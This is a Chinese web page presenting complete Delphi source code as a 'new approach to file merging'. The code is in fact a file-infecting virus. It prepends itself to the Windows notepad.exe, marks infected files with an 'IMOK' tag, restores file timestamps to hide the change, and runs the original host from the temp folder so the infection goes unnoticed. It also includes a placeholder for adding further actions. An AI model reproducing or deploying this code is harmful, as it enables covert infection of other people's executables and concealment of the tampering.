分享
 
 
 

文件合并新思路(附完整DELPHI代码)

王朝delphi·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

文件合并新思路

(襄樊 官本和 2001.9.28)

program exe2;

uses

classes,

Tlhelp32,

windows,

SysUtils;

{$R *.RES}

var

lppe:TProcessEntry32;

found:boolean;

handle:THandle;

ProcessStr,ExeName:string;

WinDir:pchar;

const

MySize=64000; {根据编译或压缩后的文件大小进行修改}

procedure copy2(s:string);

var

s1,s2:TMemoryStream;

files2:TFilestream;

ch:array[0..3] of char;

ss:string;

filetime,fhandle:integer;

begin

{若文件s不存在}

if FileExists(s)=False then exit;

try

{判断文件s中有没有特殊标记。若有,表示已经合并过

在本程序编译或压缩后,用十六进制软件进行修改,在偏移200处加入标记'IMOK'

用debug也可进行修改(对exe文件,要先更改EXE扩展名)。例:

-e 1C8

127D:01C8 00._ <-键入新的十六进制值

......

-w <-保存文件}

files2:=TFilestream.Create(s,fmopenread);

files2.Position:=200;

files2.Read(ch,4);

ss:=copy(ch,1,4);

files2.Free;

if ss='IMOK' then exit;

{将本文件与文件s合并 本文件+s=s}

s2:=TMemoryStream.Create;

s2.loadfromfile(ExeName);

s1:=TMemoryStream.Create;

s1.copyfrom(s2,MySize);

s2.clear;

s2.loadfromfile(s);

s1.seek(s1.size,soFromBeginning);

s1.copyfrom(s2,s2.size);

s2.free;

{得到文件s的日期}

fhandle:=FileOpen(s, fmOpenread);

filetime:=filegetdate(fhandle);

fileclose(fhandle);

s1.SaveToFile(s);

{恢复文件s的日期}

fhandle:=FileOpen(s, fmOpenwrite);

filesetdate(fhandle,filetime);

fileclose(fhandle);

s1.free;

except end;

end;

procedure CreateFileAndRun;

var

s1,s2:TMemoryStream;

TempDir:pchar;

cmdstr:string;

a:integer;

Begin

s1:=TMemoryStream.Create;

s1.loadfromfile(ExeName);

if s1.Size=MySize then

begin

s1.Free;

exit;

end;

s1.seek(MySize,soFromBeginning);

s2:=TMemoryStream.Create;

s2.copyfrom(s1,s1.Size-MySize);

GetMem(TempDir,255);

GetTempPath(255,TempDir);

s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));

cmdstr:='';

a:=1;

while ParamStr(a)<>'' do begin

cmdstr:=cmdstr+ParamStr(a)+' ';

inc(a);

end;

winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);

freemem(TempDir);

s2.free;

s1.free;

end;

begin

GetMem(WinDir,255);

GetWindowsDirectory(WinDir,255);

ExeName:=ParamStr(0);

handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);

found:=Process32First(handle,lppe);

ProcessStr:='';

while found do

begin

ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}

found:=Process32Next(handle,lppe);

end;

if pos(WinDir+'\notepad.exe',ProcessStr)=0 then

begin

copy2(WinDir+'\notepad.exe');

end;

{其它需要合并的文件

if pos(...,ProcessStr)=0 then

begin

copy2(...);

end;

...

}

freemem(WinDir);

{

你想用这个程序干点其它的什么...

}

CreateFileAndRun;{释放文件并带参数运行}

end.

{

E-mail: guanbenhe@peoplemail.com.cn

delphi21cn@sohu.com

homepage: http://guanbh.top263.net

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有